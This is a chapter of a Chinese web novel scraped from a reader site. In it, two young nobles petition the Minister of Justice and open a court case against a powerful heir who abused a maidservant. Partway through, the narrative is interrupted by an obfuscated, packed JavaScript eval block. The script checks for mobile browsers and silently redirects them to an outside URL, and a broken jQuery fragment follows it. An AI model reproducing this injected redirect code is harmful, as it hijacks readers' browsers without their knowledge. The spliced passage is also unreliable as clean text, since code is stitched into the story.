默认冷灰
24号文字
方正启体

16. 16

作者:炎棠本书字数:K更新时间:
    话音落下,两人互看一眼,都笑了起来,不过皆是苦笑成分居多。


    这几天,谢清颜已经从对方的口中得知了三司会审是怎么回事,明白的同时,也越发对谢帘栊这个人以及世家的权利有着无比清晰的认知。


    她当然可以不顾一切,是因为她有母亲,有仇恨。


    可王容止呢?他会吗?


    很大的不确定性构成了如今进退两难的局面,谢清颜一时没有说话,只静静地盯着对方,似乎在评估什么。


    王容止被这样凝看之下,身子不自觉僵直,长时间的奔走已经让他的面色露出些疲倦之色,眉心皱出了淡淡的细纹,可其容色不改,依旧是温和从容,甚至汗水覆在纹路上,额外增了一股清俊劲儿。


    “你不用这样的。”谢清颜冷不丁开口。


    王容止没听清,“什么?”


    谢清颜:“我说你不用和我在外面一起伸冤,这件事是我的事,我被囚被关,我的婢女是生是死其实都和你无关。你贵为王家嫡子,你未来的道路顺遂无比,实在没必要为了我淌这趟浑水。”


    这话差点就在指着鼻子说“你是不是有什么目的了”,王容止愣了一瞬,随后轻笑开,“清颜是想激我吧,或者是想看我和他们是不是一样的人。”


    “是,我承认,我也算是个要风得风要雨得雨的人,或许我没有那么了解民间疾苦,可这不代表我没有良心,不懂得君子之迹。说句不害臊的话,我也算从小做善事,我有个弟弟就是小时候看他可怜捡回来的。”


    “……你弟弟?”谢清颜诧异看过去。


    “你就当我在做善事吧,虽然我的目的或许不那么单纯。”在谢清颜的视线下,王容止下意识将腰挺得更直了些,说到这更是微妙顿了一下,看了一眼对方。


    “我只知道,若是我有不公想要上述都如此艰难,那么旁人只会更难。”


    “可这世间需要公理二字。”


    “走吧,随我去齐家。”


    齐家是刑部尚书的府邸,也是三司中,唯一一家未登门的了。


    夜风中,紧闭的大门口一左一右的摆了两座石狮,它们威严肃穆,只是静静地矗立着,便给人带来无尽的希望。


    王容止默不作声的咬紧牙关,随即上前叩响了门。


    晚风寂寥,过了许久。


    门开了,小厮站在门上,态度谦卑:


    “郎君请进,主君已备好热茶。”


    夜深了,从床上起来的滋味显然不好受,刑部尚书瘦长的身躯板正的坐着,手里捧着杯茶呷一口。浓茶提神,那股劲儿直冲天灵盖,齐怀远长舒了口气,短脸上的那把长须随着动作上下晃动。


    王容止望着他,嘴唇翕动,沉甸甸吐出二字,“叔父。”


    这也算是打断骨头连着筋了,即使面前这个隔了不知多少服,到如今剩只沾了一点亲的曾曾曾侄子,齐怀远并未给出冷脸,反而笑眯眯的道,“我记得小时候还抱过你,一晃眼都长这么大了。”


    又看着旁边站着的谢清颜,问道,“这是?”


    谢清颜并未想到二人是这样的姻亲关系,诧异的同时听到刑部尚书的问话,立刻跪下来,“民女是谢家的大姑娘,名唤谢清颜。”


    这个名字一出,齐怀远顿时眯了眼,他看看谢清颜又看看王容止,视线在二人身上来回打转,少倾,了然的笑起来,“看来不久后我就能喝到你的喜酒了,想必王老太君知道后,也会很欣慰的。”


    “哦,这次总不会不邀请我这个做叔父的吧。”


    齐怀远像是误会了二人的关系,可一男一女在深夜结伴而行,即便说破了嘴,也不会太过清白。谢清颜一时没能找到合理的解释。


    而王容止也没有解释,反而是升出了一些赫意——王家老太君寿辰,齐怀远并未参加,并不是因为他托大拿翘,而是王家并未送请帖。


    但齐怀远还是备了一份寿礼送到府邸,是尊琉璃玉佛。


    平日也不曾走动,有事却来相求。王容止抿了抿唇,很是抱歉的开口,“如今正值多事之求,故而祖母生辰才未邀请叔父,还望叔父见谅。”


    “不妨事,不访事,我都懂。”齐怀远摆摆手,又拈拈须,笑着问,“到底出了事,让你这么毛躁?”


    “都坐下,坐下来喝口茶再说。”


    五十多岁的中年人,说话不徐不慢的,厅前的匾额上还悬挂着皇帝题写的“清明为官”四个大字,看上去莫名给人一种安定的感觉。


    谢清颜松了口气,却没站起身,“清颜要状告谢帘栊,他强取民女!”


    “哦?”


    谢清颜便将之前和王容止商量好的事情,一五一十的说出,期间并未提谢帘栊对自己起的不良心思。


    齐怀远听罢也只是皱着眉不说话,过了会儿,他又呷了口茶,“这个事情不大好办,清颜姑娘,你说谢帘栊强取民女,可这婢女并不算民啊。”


    “哦,老夫并不是这个意思,老夫知道奴仆们也相当不容易,只是这些奴仆们到底是签了卖身契的,他们的命都是主家的。说句不好听的,即使她们死了,只要主家有正当理由,老夫也不好插手。”


    谢清颜根本没想到事情是这样的结局,也没想到一条人命在这些人口中会是这样的轻描淡写。


    可在官场摸爬滚打上来的齐怀远实在是厉害,先是无奈给出答案,后又细细安慰谢清颜,一番手段从严到宽,收放自如,令谢清颜插嘴的余地都没有。


    可谢清颜实在不甘心,她咬了咬牙,忽的说:“那如若秋霜她的卖身契在她自己那儿呢?她是不是就是个良民了,也就可以定谢帘栊的罪了?”


    卖身契自然不在秋霜那里,这样说只是在逼齐怀远不得不处理这件事。


    齐怀远闻言默了会儿,捻着胡须,“若是良民,那事情自然两说。”


    王容止见状也跪了下来,“容止亦有冤屈,容止要告谢家世子谢帘栊,欺男霸女。”


    “哦?”齐怀远这下挑了眉,亲手将王容止扶了起来,“细细说来?”


    王容止顺势起身,将怀里的诉状递过去。只见齐怀远一目三行看着,黢黑的眉头越皱越紧,跟后头双眼微眯沉吟片刻。


    最后拍手而起,一拂大袖。


    只听“砰”的一声!拍桌声与齐怀远肃怒斥声一同响起,“天子脚下肆意弄权,这还有王法纲纪吗?!”


    “贤侄你放心,这案子我接了。”


    *


    翌日


    天色蒙蒙亮时,谢清颜出现在门房上,这一次她用了谢莲儿之前给的令牌,就算事情败落也有合理的借口来掩盖一切。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450041|201157||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    王容止的马车停在了胡同口,一上车厢谢清颜就坐下了,这时候男女大防都不在存在,两人相视一笑。


    “可还顺利?”


    “一切顺利。”王容止回,默了默后,他问,“你呢?”


    密不透风的车厢里弥漫的都是希望,这一刻,心底的紧绷的弦都被轻轻拨动,谢清颜推开车窗,眼底是少见女儿家的雀跃。


    她重重点头,“一切顺利,秋霜的卖身契我已经拿到了。”


    碧水洗过的天空一望无际,公堂上,衙役们并列两排的站着,一边喊“恶无”,一边喊“无恶”,在杀威棒快速击打下混成了一声声“威武”音。


    公正廉明四个大字高悬。


    三个桌案坐落在公堂上,最中间的圈椅稍微远些,是个高位,只是背对着门。而其余两个圈椅则正对门摆着,其中各坐了一个戴着官帽的男子。


    离得远远的,又因公堂之上太过威严,根本不敢太细看,落在谢清颜视线里,只能看到齐怀远身边坐着的是一个年纪较轻的男子。


    按照在昨夜商量好的,三司会审中大理寺少卿近日外出公干,没有时间参加今日的堂审。但也无伤大雅,她只要说出谢帘栊是如何强迫秋霜的事情,再将诉状呈上,齐怀远就会命人传唤秋霜上堂做人证。


    待案情结束,将最后供词再给大理寺少卿过目审核,最后就能定下谢帘栊的罪行,将秋霜放出来。


    明明不过就是走个程序罢了,可不知为何一股不好的直觉从谢清颜心底陡然升起。


    就当谢清颜思忖之际,齐怀远却轻咳一声,拍了下惊堂木,“堂下何人?为何击鼓?”


    “民女谢清颜,今日登堂是要状告谢家世子——谢帘栊。”谢清颜还是跪下告了,说到这她顿了顿。一夜辗转的决定令身体都在不自主的颤抖起来,必须要靠紧咬牙关,才能抵抗那股强大的惧意。


    说出来,只要说出来谢帘栊对自己做的“恶行”,对自己不堪的心思,就能将他钉死!


    这不是早就想好的吗?就算他权势再大,这件事一出,他未来的人生都将完了。


    没有人能接受礼法的败坏,从此他将遗臭万年。


    只要说出来。


    可一旦说出来,他真的就毁了……


    此刻谢清颜眉头拧的很紧,指甲深陷在皮肉里无法自拔,葱白的指尖早已伤痕累累,一看便是反复磨掐才导致的。


    可疼痛反而使谢清颜异常清醒,她匍匐上身,额头点地,“谢帘栊他罔顾法纪,强夺民女,清颜的婢女虽是奴仆,可是清颜已经发还了卖身契,是个良民。而谢帘栊不顾她的意愿强迫于她,清颜实在看不下去,不愿包庇这种恶行,故而要状告谢帘栊。”


    哗啦一声。


    是堂上惊堂木掉了下来,右手坐的男子嘴巴微张,似乎想不到没想到,震惊话都说不出来了,“你就是谢清颜?”


    其实在开案前,所有涉案名字包括状告是由都会在事先过目,更何况她方才说了自己的名字,因此堂上的男子能说出她的名字并不奇怪,但这语气实在让人有琢磨的空间。


    谢清颜抬头看了一眼,四目对视下,她发现这是那夜钻出狗洞时,有着一面之缘的“傻子”。


    谢清颜愣了一下,快速收回视线,“回大人,是。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)